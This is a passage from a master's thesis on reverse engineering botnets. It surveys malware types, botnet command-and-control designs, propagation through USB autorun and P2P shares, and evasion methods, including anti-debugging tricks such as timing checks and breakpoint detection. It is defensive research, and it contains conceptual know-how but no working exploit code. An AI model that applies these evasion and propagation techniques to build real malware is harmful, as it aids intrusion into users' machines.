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Abstract

Botnet Reverse Engineering and Call Sequence Recovery

Prosenjit Sinha

The focus on computer security has increased due to the ubiquitous use of Internet.

Criminals mistreat the anonymous and insidious traits of Internet to commit monetary on-

line fraud, theft and extortion. Botnets are the prominent vehicle for committing online

crimes. They provide platform for a botmaster to control a large group of infected Internet-

connected computers. Botmaster exploits this large group of connected computers to send

spam, commit click fraud, install adware/spyware, flood specific network from distributed

locations, host phishing sites and steal personal credentials. All these activities pose se-

rious threat for individuals and organizations. Furthermore, the situation demands more

attention since the research and the development of underground criminal industry is faster

than security research industry. To cope up against the ever growing botnet threats, security

researchers as well as Internet-users need cognizance on the recent trends and techniques

of botnets. In this thesis, we analyze in-depth by reverse engineering two prominent bot-

nets namely, Mariposa and Zeus. The findings of the analysis may foster the knowledge of

security researchers in multiple dimensions to deal with the botnet issue. To enhance the

abstraction and visualization techniques of reverse engineering, we develop a tool which is

used for detailed outlook of call sequences.
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Chapter 1

Introduction

The remarkable growth of the Internet technologies over the past few years changes the

lifestyle of most people. The widespread use of the Internet has altered the pattern of the

world from simple household level to businesses. The traditional ways of marketing, com-

munication, education, and broadcasting are replaced by web-based applications and online

systems. People in the 21st century are more akin to perform transactions online at their

own favorable hours. However, the Internet applications are mistreated by perpetrators and

hackers for committing different kinds of crimes. The extensive use of Internet motivates

the malicious activities which took place over the past several years. Formerly malicious

programs have been classified as viruses, worms or Trojan horses based on their behav-

iors. Nowadays, rather than being in a specific group, malware is often versatile and even

equipped with multiple threats. In the majority of Internet mediated cybercrimes, the used

victimization tactics vary from simple anonymity to identity theft and impersonation.

1



The advent of botnets further exacerbates the situation. A botnet is a term that desig-

nates a network of autonomous software robots (bots) compromising computers which are

controlled by a botmaster running a command-and-control center. Botnets have become

a severe threat to the Internet security by constituting an ideal platform of a wide variety

of cyber attacks targeting identity theft, spamming, Distributed Denial of Service (DDoS)

extortion and so on [83]. For example, Mariposa botnet comprised of 13 millions infected

machines is capable to perform DDoS extortions and identity theft operations. Although

the existence of botnets has been a known fact for a long time, the recent growth of cy-

bercrimes and cyber-warfares mediated by botnets has attracted the attention of IT security

researchers.

As a result, a surge of interest has been expressed in understanding, analyzing, detect-

ing, defaming, and preventing botnet attacks. In this context, the battle between hack-

ers/cyber criminals and IT security experts takes the allure of a non-terminating cat and

mouse fight. In order to counter the escalation of hackers’ ideas and innovations, security

experts have to understand the threats and the employed technologies, and then design and

implement techniques to mitigate the risk underlying these threats.

1.1 Motivations

Botnets are the root cause of many cyber crimes. They impose a severe threat to Internet

users due to their central controlling capability over a huge number of infected machines

2



distributed around the globe. As of October 2009, Zeus botnet is estimated to have in-

fected 3.6 millions computers [8]. Botnets are the main weapons of the cyber criminals

to conduct money-making fraudulent activities. Such activities can be identified as spam

distribution, hosting phishing sites, identity theft, click fraud, DDoS extortions and dis-

tributing unwanted software. According to MessageLabs [115], the average spam rate for

the year 2010 is 89.1% and botnets account for 80-90% of all spams sent globally. Rus-

tock [57], one of the dominant botnet, is solely responsible for sending 44 billions spams

per day in the latter half of 2010 with over one million bots under its control [115]. Botnets

are used extensively for distributing malware. In year 2009, 1 in 284.2 emails containing

malware [115].

Botnets equipped with techniques like polymorphism, metamorphism, encryption, ob-

fuscation and traffic encryption are hardly detectable by anti-viruses. With the help of

polymorphic engine, botmaster can get a complete new version of the bot by a click of the

mouse. In 2009, Symantec observed 90,000 unique variants of basic Zeus toolkits [18].

Mariposa bot toolkit comes with a built in polymorphic engine which enables botmaster to

create encrypted bot code using different keys.

Despite significant research on botnet detection, defence, and eradication, the problem

still persists in the Internet world. Bot writers constantly enrich their tools with new so-

phisticated techniques. For example, a new botnet URLZone [2] is capable to alter the

online bank statement so that the victim cannot detect that his money has been stolen. Zeus

botnet also has a similar capability of hiding transactions from the targeted web sites. The

capabilities of the botnets reach such level that now, it targets Supervisory Control and
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Data Acquisition (SCADA) systems. According to Symantec Corporation, a botnet called

Stuxnet [107] searches for industrial control systems which are also known as SCADA

systems. If it finds any SCADA systems running on the compromised computer, it tries to

steal code and design projects. It is also capable to take advantage of the programming soft-

ware interface to upload its own code to the Programmable Logic Controllers (PLC) [107].

Considering the sophistication of botnet capabilities, there is a desideratum to understand

the inner working of the new botnets. It is important to disclose the details of how botnets

work to help the security community in general to build better defense mechanisms.

The two most prominent techniques for malware analysis are behavioral analysis and

code analysis. In behavioral analysis, the activities of the malware are examined by execut-

ing the malware in a controlled environment where they are observed with some specialized

software. Some of the commonly used software tools for behavioral analysis are CWSand-

box [70], NormanSandbox [94] and Anubis [5]. The limitations of these tools are: 1) they

cannot provide a fine-grained information of register and memory access, 2) they cannot

uncover certain hidden behavior, and 3) they cannot give information about the used traffic

and the binary encryption algorithms. On the other side, reverse code analysis involves con-

verting machine code into human readable assembly code and then analyzing it. Reverse

code analysis can be either static using a disassember1 or dynamic with the combination of

a debugger and a disassembler.

Reverse engineering is complex and time-consuming particularly in obfuscated code-

bases involving malware. Currently the lack of modern visualization tools of assembly

1Disassembler is used to translate machine code into assembly code
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code further exacerbates this problem. Comprehension of low-level issues such as malware

threats often relies on dated user interfaces that actually inhibit navigation and exploration

of large code bases. These user interfaces often fail to exploit visualization techniques that

could significantly alleviate cognitive overhead. For example, the ways IDA Pro [74] rep-

resents a call diagram is not helpful for the analyzer. Actually the diagram is static with

no supported execution traces or external calls. Additionally, it does not support call trace

and call ordering nor does it indicate if a call occurs more than once. An initial usabil-

ity survey reveals that better analysis of control flow is particularly critical for program

comprehension in the malware domain [48].

1.2 Objectives

The purpose of the research is to find out the trends and the techniques used in botnet

domain to perpetrate online crimes. We also intend to find out techniques that can ease the

process of reverse malware analysis. More precisely, the objectives of our research are as

follows:

• To discuss state-of-the-art techniques regarding malware and malware analysis for

providing details about the contemporary techniques of reverse engineering.

• To provide the reverse engineering findings of two prominent botnets namely, Mari-

posa and Zeus to explore the techniques that are used in current botnets.

• To design and develop a control flow visualization tool for the analysis of low-level

systems. The tool is designed to reduce the cognitive overload inherent in malware
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comprehension.

1.3 Contributions

The main contributions of the thesis consist of the reverse engineering findings of two

prominent botnets and the implementation of a low-level visualization tool. In more details,

our contributions are as follows:

• The comparative study of the state-of-the-art techniques of malware and correspond-

ing reverse malware analysis.

• The comprehensive reverse engineering results of Mariposa [108] and Zeus [52] bot-

nets. The insights from this work are meant to illustrate the know-how used in current

botnet technologies and enable the elaboration of analysis, detection and prevention

techniques.

• The design and the implementation of a tool for reverse engineering, which we named

Tracks [48]. Tracks works as a plugin of IDA Pro and supports the reverse anal-

ysis process by facilitating and providing visual issues like navigation history and

dynamic call sequences. Our tool demonstrates how improved user interfaces can

leverage visualization techniques.
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1.4 Thesis Organization

The rest of the Thesis is organized as follows. We present an overview of botnets and a

comparative study of reverse engineering techniques together with the current literature in

Chapter 2. Using reverse engineering, we analyze Mariposa and Zeus botnets and present

the findings in Chapter 3 and Chapter 4 respectively. In Chapter 5, we present the design

and the implementation of the proposed visualization tool. Concluding remarks as well as

a discussion of future works are reported in Chapter 6.
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Chapter 2

Malware and Malware Analysis

We present an overview of malware and its counterpart malware analysis. In the first part

of this chapter, we introduce the various types of malicious software focusing primarily

on botnets. Then, we discuss the sophisticated techniques that are used in new types of

malware to achieve their nefarious functionalities. At the end, we talk about different tech-

niques of malware reverse engineering including behavioral analysis, static and live code

analysis. We also converse about anti-debugging tricks that are generally used by malware

writers to make the debugging process strenuous. Moreover, we present a literature review

on related topics at the end of the chapter.

2.1 Overview of Malware

Malicious code is fragments of programs that can affect the confidentiality, the integrity,

the data, control flow, and the functionality of a system without the explicit knowledge and
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the consent of the user [56]. Malware can get access to the compromised machine, and

send back important information to the malware controller. Over the time, the motivation

of malware changes from fun to multi-million dollar business. In the early stage of the

personal computer era, computer viruses were created for fun and to show the programming

skills. First malicious virus, namely Brain [116], appeared after the appearance of personal

computers in 1986. Brain infects the boot sector of the floppy drive and propagates when

a user boots a machine from the infected floppy. Two years after the appearance of Brain,

another worm called Morris [105] infected 6000 computers. Highly propagating worms with

various spreading mechanisms were seen in mid to late 90s. This is the time when Internet

and personal computers were getting their popularity, and people started to use electronic

mail system as a mean of communication. Worms like Melissa [69], i love you [85], Anna

Kurnikova [65], SoBig [120] and Mydoom [90, 114] spread via electronic system in that era.

The online financial transaction boom in the business world in the late 90s changed the

goals of malware writers such that to focus on organized and coordinated financial attacks.

As a result, malware like Trojans, backdoors and botnets came to effect. Criminals are now

more inclined to use controlled and combined power of botnets that spreads all over the

globe to earn money. In the following, we present a brief description of some prominent

forms of malwares.

2.1.1 Viruses

In IT world, the term "virus" is generally used to refer all types of malware. Viruses are

self-replicating malware that can replicate itself for spreading purposes and run in the host
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machine for the intent of malicious activities. Viruses are the primitive form of malware.

Viruses first appeared in 1970 in ARPANET [6]. When the computer networking is in its

childhood state, most viruses spread via removable devices mainly floppy disks. Some

viruses spread by infecting executables and others by infecting boot sectors. The boom

in personal computers in 1980 led to the corresponding boom of viruses. More people

get in touch with personal computers, more they gain knowledge about its mechanism.

Some users apply their knowledge to create programs with malicious intent. Macro viruses

written in scripting languages became common in the mid 90s. Most of those viruses target

Microsoft Word and Excel to infect and spread throughout.

2.1.2 Worms

A worm is fundamentally similar to a virus in the sense that it is a self-replicating malicious

program. The difference is that a worm replicates using networks and the replication pro-

cess does not require any human interaction. A worm breaches a system by exploiting the

vulnerabilities of the operating systems or applications. Once inside, it tries to propagate

itself to other systems using networks. Some of the most common worms are: Storm [78],

Code Red [60] and Slammer [61].

2.1.3 Trojans

Trojan horses generally known as Trojans are the malicious programs in the form of in-

nocuous programs. A Trojan is a harmless tool that is delivered in a normal way which

in fact contains malicious contents in it. The main difference between Trojans and viruses
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is, Trojans can not replicate like viruses. Trojans can disguise itself in victim’s machine in

the form of a screen saver or a collection of artworks coming in via an email attachment.

Therefore, along with the legitimate contents, a well-designed virus or bot can lurk. After

executing, it may open a backdoor or download other malicious contents from the Internet.

2.1.4 Rootkits

A rootkit is a malware component consisting of small and useful programs that allow an

attacker to maintain administrative access. In other words, a rootkit is a malicious program

that allows a permanent and undetectable presence on a computer [76]. The main idea of

rootkit is to hide the presence of malicious activities and data in the system. Most rootkits

are capable of hiding files and directories whereas others are used for sniffing packets from

networks.

2.1.5 Botnets

The remarkable and diverse growth of Internet changes the motivation of malicious activ-

ities over the past several years from vandalism, script kiddie and demonstration of pro-

gramming knowledge to financial gain. Nowadays, increasing number of profit-oriented

malware activities like, identity theft and DDoS are backed by organized crime gang. This

involvement of financial motivation boosts up the use of sophisticated techniques in bot

code and make the task of IT security more difficult. Botnets are identified as the latest

threats in Internet security. Unlike other malware, botnets are organized in a hierarchical

manner with a central control. A bot is a computer program installed in a user machine,
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and botnet is a network of bots. After being installed in the victims’ machine in a clandes-

tine way, the bot communicates covertly with a Command and Control (C&C) server. The

botmaster, who is the controller of the botnet, issues commands to the C&C server which

then relays the commands to the bots in order to be executed in the compromised machine.

Botnet Architecture

The foremost feature that keeps botnet apart from other types of malware is its control

mechanism. Thousands or millions of machines hijacked by a specific botnet are con-

trolled by a central authority generally known as botmaster or botherder. The botmaster

issues command on a location known as Command and Control (C&C) server. The C&C

server is crucial for a botnet as it is the platform for the botmaster to deliver commands

to the zombies. Upon compromising the victim machine, each bot tries to communicate

with the C&C server in order to receive commands from the botmaster. There are some

works on the taxonomy [62] of botnets, using properties like C&C infrastructure, propaga-

tion mechanism or exploitation mechanism. Considering the topology of the C&C server,

botnets can be classified into:

• Centralized. It is the oldest type of topology. In this arrangement all zombies are

controlled from a central server. This single point (C&C server) is responsible for the

communication between the botmaster and the zombies. Botmaster issues commands

to the C&C server and the server distributes the commands to the bots. In most cases,

the communication between the bot and the C&C server is based on either Internet

Relay Chat (IRC) or Hyper Text Transfer Protocol (HTTP). Formerly, botmasters
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were more akin to use IRC server for C&C because of its minimal effort and its easy

administration. They used to host the IRC server in "bullet proof" hosting1 services

or in one of the compromised machines. To circumvent the single point failure, IRC

botnets use a list of IP addresses of servers. If bot does not receive any reply from

one server it will automatically switch and try to communicate with another server

from the list.

Recently, HTTP is getting popularity as botnet C&C communication protocol [84].

Use of HTTP has several advantages over IRC. Most of the organizations config-

ure their firewall to accept communication on port 80. The opposite is the true for

IRC, IRC traffic are blocked in most organizations. In HTTP botnet, most of the

cases attackers use hard-coded domain name to reach the HTTP server. They use

Fast-flux [77] techniques to evade themselves from detection. All communications

are encrypted for anonymity. Additionally botnets can use User Datagram Protocol

(UDP) as the communication protocol. For instance, Mariposa bot uses UDP proto-

col to communicate with with C&C server [108]. Advantages of using UDP as the

C&C communication protocol is discussed in Chapter 3.

The big advantage of centralized topology is its simplicity and low latency. On the

contrary, it is highly vulnerable to detection and failure [88,89] because of their cen-

tralized structure. If the central server is detected, botmaster will loose the control

from the whole army whereas on the decentralized architecture, if one server is de-

tected, botmaster will lose only a portion of his army.

1A service that guarantees the availability of service even if it is found to be malicious or illegal.
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• Decentralized. Command and Control servers are the vulnerable point in centralized

architecture, from the attacker’s point of view. Botmaster will lose the control of all

his bots once the command and control servers are shut down by the defenders. De-

fenders can identify the IP address of the command and control server by analyzing

the traffic [51], or the list of the IP addresses can be retrieved by reverse engineering

a captured bot. Shadowservers [16] also provide feeds about the C&C server IPs. To

counter those potential drawbacks, botmasters are switching to decentralized topol-

ogy. In decentralized topology, Peer-to-Peer (P2P) technology is used to control

botnets. The pivotal issue in P2P is the absence of central C&C server. As there is no

central server, there is no central point of failure. Peer-to-Peer traffic is also harder to

detect because of the absence of a central server. However, the compromised bot still

needs the bootstrapping2 process to join the botnet. The newly infected machines

need to know at least one bot to receive information as well as commands from

the botmaster. Peer-to-Peer bots mainly use different implementation of Distributed

Hash Table (DHT) to organize the bots. Some bots use Chord [113] implementation

and others use Kademlia [87]. Examples of botnets that use Peer-to-Peer as com-

munication protocol are Slapper [46], Sinit [28], Phatbot [27], Peacomm [98] and

Nugache [101].

• Hybrid. Wang et al have proposed a new topology of botnets [119] which is the

mongrel of centralized and decentralized topologies. They have tried to propose a

structure that eliminates the weak points of both centralized and decentralized botnet

2The process of joining the botnet
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topologies.

Botnet Capabilities

Over time, the motive of the cyber crime has changed. Today, large fractions of cyber

crimes are profit-driven [83]. Botnets are also evolved considering the financial issue as

the central driving force. With the control of millions of compromised machines, which

are ready to download and execute anything on the fly, botmaster is capable to use them

for an array of malicious purposes to earn money. Some of the commonly used malicious

activities are listed below:

• Information Stealing. Most of the botnets are equipped with spyware capabilities.

Capabilities like keylogging, screenshot taking, packet capturing, data theft and browser

tracking can be used to steal almost all types of personal data from users [72]. Soft-

ware keyloggers are used to log the keystrokes from the keyboards of the compro-

mised machines. Keylogging even turns the Secure Socket Layer (SSL) encrypted

application vulnerable because data is logged as plain text before it goes to any en-

cryption. Some of the commonly targeted data types are: Credit card information,

Paypal [26] and eBay [24] credentials, email and Instant Messenger (IM) credentials,

personal information and Windows protected storage information. Federal Bureau

of Investigation (FBI) estimates that botnets caused 20 million dollars in losses in

2005, out of which one of the scam evaded a Midwest financial institution out of

millions [33] .
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• Spam Distribution. Most of the spam messages are generated from botnets and some

of them like Strom [78] and Bobax [112] are maintained for spamming only. Accord-

ing to Cisco 2008 annual report, more than 90% of the emails exchanged over the

Internet are spam [7]. In this report, they stated that by mid-2008, the Srizbi [110]

botnet had a stable population of 260,000 host computers and was responsible for

the distribution of as much as 60 percent of the world’s spam (a staggering 80 billion

messages per day). In May 2009, in a 24-hour period around the U.S. Memorial Day

(May 25, 2009), just over 249 billion spam messages were sent.

• Registry and Hard Drive Searching. Botnets often include functionality to search

valuable information from the hard drive or registry to send them to the C&C server

[72]. Generally targeted information includes email addresses, CD keys, instant mes-

senger contact information and Windows protected storage contents.

• Hosting of Phishing Sites. Botmasters use compromised machine to host phishing

sites. Sometimes they rent part of their network to other interested parties to conduct

such activities. Botmasters usually try to baffle gullible users through spam emails

and using social engineering techniques to visit their vague sites. A portion of users

get trapped and reveal their personal information like credit card numbers to attack-

ers. In 2009, Semantec detected 59,526 phishing hosts which is an increase of 7

percent over 2008 [18].

• Click Fraud. In this type of attack, attacker generates profit by directing his zombies

to click on some specific ads. The botmaster earns some money for each click. With
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the enormous number of zombies around the world, a formidable amount of money

cab be earned through click fraud. There are some botnets with the sole purpose of

click fraud for instance, Clickbot [63]. Clicking agents, e.g., Clickmaster, I-Faker,

FakeZilla, etc, are also available for purchase. According to ClickForensics, click

fraud alone amounted to 12.7% of all pay-per-click advertisements in the second

quarter of 2009 [58].

• Distributed Denial of Service (DDoS) Attack. Most of the botnets are equipped with

the power of performing Distribute Denial of Service (DDoS) attacks. The idea be-

hind the attack is to request services to a specific server from all around the globe

using compromised machines resulting in slowing or stopping the capability of pro-

viding services. The techniques that are most commonly used for performing DDoS

are UDP, SYN, ICMP, and ECHO flooding [72]. The accumulated power of bot-

net distributed all over the globe is the weapon of the botmaster to perform DDoS.

Most of the recent DDoS attacks are performed using botnets. For example, in May

2007, a DDoS attack was launched against the Estonian government and commercial

Websites [64].

• Gateway and Proxy Functionalities. Botmasters often use the compromised ma-

chines to act as Proxy servers in order to avoid detection. Some of the common

proxy functionalities include HTTP proxy, Socks proxy, IRC bounce, and Generic

port redirection [72].
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Botnet Creation and Propagation

It is a common thought that building a botnet needs a formidable amount of technical

knowledge and expertise. However, with the presence of numerous online help and hacker

forums, nowadays, it is comparatively easier to build up a botnet. A wealth of information

is available for download on hacking sites. Graphical user interface (GUI) based exploit

packages are available to compromise systems. Besides that, attackers do not even need to

write their own piece of malware. Ready to deploy malware are available to buy online.

Malicious toolkits like Zeus and Butterfly are available online to buy along with customer

support [31]. Distributor of Butterfly botnet offers different price for different modules.

After the purchase or creation of a botnet toolkit, the next responsibility of the master

is to distribute the bot. Underground community share IP ranges to determine the target

netblocks. For example, criminals are more akin to attack netblocks with broadband access,

highly available, less monitored and vulnerable systems [71]. In the following, we discuss

the most common techniques that are used to spread the botnet infection:

• Peer-to-Peer Network. Peer-to-Peer file sharing networks are used extensively for

botnet propagation. The general technique is to copy the malware in the shared folder

of the P2P application as an innocuous program with a legitimate name. For example,

Mariposa botnet searches the registry for the installed peer-to-peer programs [108].

If there is any installed P2P application, mariposa copies itself into the associated

shared folder using attractive names. For example, the crack file of a favorite game.

Mariposa receives the name of the folder from the botmaster [108].
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• Instant Messenger. Instant messengers are popular choice for attackers. They employ

the social engineering techniques to spread malware/botnet with the help of instant

messengers. Some of the botnets hook the Windows send and receive functions so

that they can get access to all the messages sent and received from the messenger.

As the send function being hooked, malware can replace any message sent by the

user. It can send any unsolicited message or link that ultimately takes the user to the

malicious Websites or it may begin the download and the installation process of the

malware.

• Email/Spam. In this type of attack, gullible users are prompted to open an attachment

or a link. The system becomes compromised by the malware if the user click on the

link.

• Vulnerability Exploitation. Using the vulnerability of software system is another

method of botnet propagation. Even though software vendors try to update patches

when the vulnerability is discovered, some systems remain susceptible because of

the improper administration.

• Storage Medium. Storage medium like USB drives are widely used to spread bot-

nets. USB storage drives (e.g. thumb or jump drives) are ubiquitous in the modern

workplace. They can be purchased at nearly all retail stores for less than the cost of

a burger. The intent of USB infection is to exploit the seemingly benign nature of

the Windows Autorun feature [91]. When an external storage device is attached with

the system, Windows uses the autorun.inf file of that device to know what autorun
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action it may perform with this device. A simplified autorun.inf file is shown in

Figure 2.1. The open field specifies the path and file name of the application that

AutoRun launches when a user inserts a disc in the drive. The action field specifies

the text that is used in the autoplay dialogue box. When a machine get infected, the

infection instruments the operating system so that it can receive notification from

the operating system whenever a storage medium is attached with the system. As a

consequence, the malware copies the malcode into the storage medium and tweaks

the content of the autorun.inf file so that the copied malcode is executed as autorun

program.

[autorun]
open=start.bat
action=Open folder to view files
shell\open\command=start.bat

Figure 2.1: Simple Autorun File

2.2 Sophistication of Botnet Techniques

Code evolution is common in malware industry. The evolution is destined to avoid detec-

tion and also to make the malware analysis process hard and strenuous. Modern malware

is often equipped with sophisticated techniques like: encryption, polymorphism, metamor-

phism, multi-threaded execution, stealth techniques, anti-analysis Techniques etc. In the

following we detail some of these techniques.
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2.2.1 Encryption

One of the easiest ways to hide malware functionality is to use encrypted code. Nowadays,

malware often comes with encrypted codebases which makes the task of static analysis

almost impossible. Encrypted malware executable first runs a decryption routine which

decrypts other part of the malware and convert the encrypted codebase into meaningful

machine code. Multiple layers of encrption/decryption is also common in order to make

the analysis of the malware more complicated.

2.2.2 Polymorphism

In polymorphism, a malware code mutates in a way that it maintains its original function-

ality. The simplest approach of polymorphism is to use encryption with random encryption

keys. Every time when a malware codebase is generated, it encrypts itself using a differ-

ent key. Polymorphism technique is extremely useful to baffle signature-based malware

detection techniques.

2.2.3 Metamorphism

The idea of metamorphism is to alter the whole executable when a new copy is generated.

Instead of encrypting the program body with a different key, metamorphism creates a new

executable with the same functionality by altering the whole malicious program, including

the metamorphic engine itself. The alteration can be achieved by using:

• Instruction ordering
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• Instruction and register selection

• Garbage insertion

• Condition reversing

• Function ordering

• Control flow changing

2.2.4 Multithreading

As the computing power of personal computer rises in a remarkable level, malware writ-

ers start showing their intention on multithreaded execution of malware. For example,

W32/ratos [49] launches more than one kernel mode in order to perform several tasks si-

multaneously.

2.2.5 Stealth Techniques

Stealthiness and low-noise is the ultimate target of malware. While running in the victim

machine, malware should hide itself in order not to be detected. Malware often uses several

stealth techniques to hide itself:

• File System. Hiding file system is critical for malware. Malware is commonly

equipped with functionalities to hide its critical files and directories from operat-

ing systems and other analysis tools. It may achieve the purpose either by installing

rootkits [121] or by using other sophisticated techniques.
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• Memory. Malware can distribute its functionality inside different legitimate pro-

cesses using code injection techniques. Malware can inject code into different Win-

dows processes and inter communicate using named pipes3. This makes malware

analysis extremely tough. As an example, Zeus botnet uses mass process infection

to distribute its functionality among several processes [52].

• Disk. A sector of the disk can be marked as bad by malware to restrict the access of

the operating systems. Malware can also store data or copy itself in locations that are

generally not used for data storage [116].

2.2.6 Anti-analysis Techniques

Criminals want to keep the functionality of their crimeware toolkit hidden. Anti-analysis

techniques are used to make the analysis of the crimeware impossible or hard for security

researchers. These anti-analysis techniques check if malware programs is executed under

a control environment (e.g. debugger, sandbox or honeypot). If the malware can detect

such environment, it aborts its execution. Few miscellaneous commonly used anti-analysis

techniques are discussed here:

• Time Checking. Malware often uses relative execution time information to detect

whether it runs under a debugger or not. For example, the GetTickCount API func-

tion is used to detect pauses in execution which in fact detects the presence of a

debugger. GetTickCount returns the elapsed time in milliseconds since the system

3A named pipe is a named, one-way or duplex pipe for communication between the pipe server and one
or more pipe clients.
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started. Malware calls GetTickCount in two locations in the code and then calculates

the difference. A large difference indicates the presence of a debugger.

• Breakpoint Detection. A breakpoint is an indicator for the debugger to stop execu-

tion of the program. It can be either a software breakpoint or a hardware breakpoint.

When a user sets a breakpoint in a line of code, the debugger internally saves the

opcode and replaces it with the opcode 0xCC (INT3)4. When the debugged program

executes the INT3 instruction, it stops the execution and transfers the control to the

debugger’s corresponding exception handler. At this point, the debugger notifies the

user that a breakpoint has been hit and concurrently it replaces the opcode 0xCC

with the original opcode that it has been saved previously. After executing the orig-

inal opcode, the debugger again saves the original instruction and replaces it with

0xCC. This action is for the persistency of breakpoints. Malware exploits software

breakpoint mechanism to detect debuggers. Malware incorporates 0xCC opcode in

the middle of a valid code to detect the presence of a debugger. If the program is

not running under a debugger then the execution of 0xCC will trigger the associated

exception handler and the execution will continue. On the other side, if it runs under

a debugger then execution of the 0xCC will cause to trigger the debugger signalling

a breakpoint.

Unlike software, hardware breakpoint is implemented with the help of CPU’s special

functionality. In x86 processor family, hardware breakpoint mechanism is achieved

with the help of special registers known as debug registers. There are eight reserved

4INT3 instruction generates a single step exception
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debug registers in x86 architecture (DR0 to DR7). The registers DR0 through DR3

contain addresses on which to break the execution while debugging. The DR7 regis-

ter is used to control the debugging process and DR6 is used to maintain the status.

The library function GetCurrentThreadContext is used to read the contents of debug

registers from the chip and then the contents of the registers can be compared with

0x00 to confirm that there are no hardware breakpoints in the system.

2.3 Reverse Engineering

Reverse engineering is the process of discovering the technological aspects of a device,

an object or a system through analysis of its structure, its function and its operation. The

term reverse engineering can be correlated with different things with different perspectives.

Software reverse engineering is one of the most intricate processes and it is comparable

with opening up an unknown box and looking inside it.

When we correlate binary executable with reverse engineering, the process is often

termed as Reverse Code Engineering (RCE). To get proficiency on the process of reverse

code engineering, one required to get a thorough understanding of computer systems spe-

cially the working methodology of operating systems. Moreover, it is very important to

understand the assembly language. Another important trait that is a prerequisite for the

analyzer is the perseverance, curiosity and desire to learn. According to Eldad Eilam [67],

the arts that are integrated with reverse engineering are: code breaking, puzzle solving,
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programming and logical analysis. In the rest of this chapter we focus on the various tech-

niques of reverse engineering and its related aspects.

2.3.1 Reversing Malicious Software

Dealing with malicious software is always challenging. The same is true with the reverse

engineering of malicious software. The advent of the Internet has changed the world of

computers dramatically. A computer user is not an isolated entity now. As long as some-

one is connected with the Internet, he can be the victim of security related hazards. Over

the last ten years, malware has reached a sophistication level such that it does not need

any human intervention at all to steal personal information and accumulate information to

a central location. The connection between reverse engineering and malware is quite inter-

esting. Reverse engineering is used extensively in both end of the malicious software chain.

Security experts as well as antivirus companies use reverse engineering to understand the

inner working of malware. On the other side, malware writers use reverse engineering to

locate the vulnerabilities in operating systems and other applications. They exploits uncov-

ered vulnerabilities in order to penetrate systems and thereby get unauthorized access to

victim’s machines. Reverse engineering of malicious executable can be achieved by con-

ducting behavioral analysis and reverse code analysis. The details on both type of analysis

are provided in the subsequent sections.
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2.3.2 Assembly Language

Assembly language is the human readable representation of the machine language. It is

used for the reverse engineering of binary executable. Every computer platform has its

own set of assembly instructions. In this thesis, we primarily focus on the Intel’s 32-bit

architecture (IA-32) which is based on Intel’s x86 CPU architecture. It is very important

to acquire a firm understanding of the assembly language in order to master in reverse

engineering.

2.3.3 Basic x86 Architecture

To perform reverse engineering, we need sufficient amount of knowledge about assembly

language and the low level structure of the computer. We need to know how the registers

interact with each other and what their purposes are. On reversing a binary, most of the time

we need to look at the content of the registers and the assembly language together with a

description about the low-level architecture of computers. In the following, we provide a

brief overview about the low level architecture of computers.

Registers

The hardware components that are directly referred from assembly language are registers.

Registers are used as the temporary storage by microprocessors while executing instruc-

tions. To avoid accessing memory for every instruction, microprocessor uses registers as

the registers can be accessed without any performance penalty. IA-32 has eight 32-bit gen-

eral purpose registers: EAX, EBX, ECX, EDX, EBP, ESI, EDI and ESP. In addition to those
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Registers Description

EAX, EBX, EDX Used as general purpose register for arithmetic, logical and
boolean operations.

ECX Used as general purpose register but mainly as a counter for
repetitive instructions.

ESI, EDI Used for source and destination index for string operations.
EBP Used for base addresses to reference function arguments

(EBP+value) and local variables (EBP-value).
ESP Used to point to the current "top" of the stack; changes via

PUSH, POP, and other instructions.
EIP Used to point to the next instruction

Table 2.1: IA-32 General Purpose Registers

general purpose registers, IA-32 structure has a specific flag register to preserve all types of

status information. This flag register is generally known as EFLAGS register. The status of

this flag register is vital to understand the functionality of the binary while reversing. Table

2.1 elaborates the general purposes of these registers.

Stack

Stack is a region of memory location used for short term storage of information. Registers

are used to store data that is used immediately by a processor whereas stack is used to store

slightly long term data. Stack memory resides in RAM as like any other memory. The only

separation between memory and stack is logical. Stack uses Last-In-First-Out (LIFO) data

structure where information is pushed or popped into the structure. Stack is generally used

during the execution of a process or a thread. Each process or thread has a reserved region

of memory as stack that is used frequently to store function parameters.
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Heap

The Heap is also an allocated region in memory. Unlike stack, heap is allocated dynami-

cally at runtime. At runtime, program requests for a block of memory and receives a pointer

of the allocated block (considering enough memory is available). From reverse engineering

point of view, heap allocation and freeing routine can be helpful to understand the overall

data layout of a program.

2.4 Miscellaneous Analysis

Before we discuss about the code analysis or behavioral analysis of a malware, it is impor-

tant to discuss about few miscellaneous analysis. In this section, we state few techniques

that are useful to get a primitive idea of a malware.

2.4.1 File Fingerprinting

Before starting deep inspection of a malware, it is wise to retrieve the unique identifier or

the fingerprint of the analyzed malware. This helps to detect any changes in code after the

analysis. At any time of the analysis, analyst can produce the hash value and check for any

changes in the malware. Fingerprint also helps in the dynamic analysis of malware. After

the execution, malware may remove itself from its previous location and get copied into

a new location. Fingerprinting information will help in such case to identify the malware.

Fingerprint of a malware sample can be taken by using the cryptographic hash of the file.
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Cryptographic hash algorithm like, SHA1, MD5 or SHA256 are commonly used for this

purpose. There are some free tools available to compute the cryptographic hashes.

2.4.2 AV Testing

Next step of analysis is to test the malware sample with anti viruses. This test can pro-

vide information about the potential dangers caused by the malware. Malware samples can

be submitted to specific anti virus vendors. There are some online services like, VirusTo-

tal [21], Jotti malware scan [34], and VirScan [20] that scan submitted malware against

numerous antiviruses and gives the accumulated results as a report.

2.4.3 String Analysis

Strings can help in some extent to understand the working of the malware. By analyzing

the embedded strings, analyzer can get a rough idea about the malware. Embedded strings

can easily be extracted using some string analysis tools. Some of these tools include: String

from Sysinternals [103], Bintext [35] from Foundstone and Hex Workshop [109]. Though,

it is easy to extract string from executables, string analysis is not effective for malware

executables with encrypted strings.

2.4.4 Packer Detection

Packers are programs that allow users encrypting the content of an executable. In its child-

hood, packers were used to shrink the size of executables for the maximum use of the space.

Afterwards, malware writers exploit the purpose of packers and starts using the artifact to
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conceal their malcode inside the armor. Packer takes the contents of an executable as an

input and then encrypts and encapsulates it inside another executable. This chain happens

more than once to make the task of analyzers more complex. When a packer encrypts an

executable program, it looks totally different from the original one. Packer program also in-

cludes a decryption routine to decrypt the packed executable and load the original program

into memory. Packers with the strength of polymorphism and metamorphism can serve as

the most effective weapon for the black hats. By a click of the mouse, malware authors

can get a new version of malware maintaining the same functionality but with completely

new structure. Few packer detection tools are available to detect packers, e.g., PEiD [30],

PE Detective [97], Mandiant Red Curtain [86], etc. Nowadays, malware writers often use

custom packers to avoid being detected by common packer detection tools.

2.5 Reverse Code Analysis

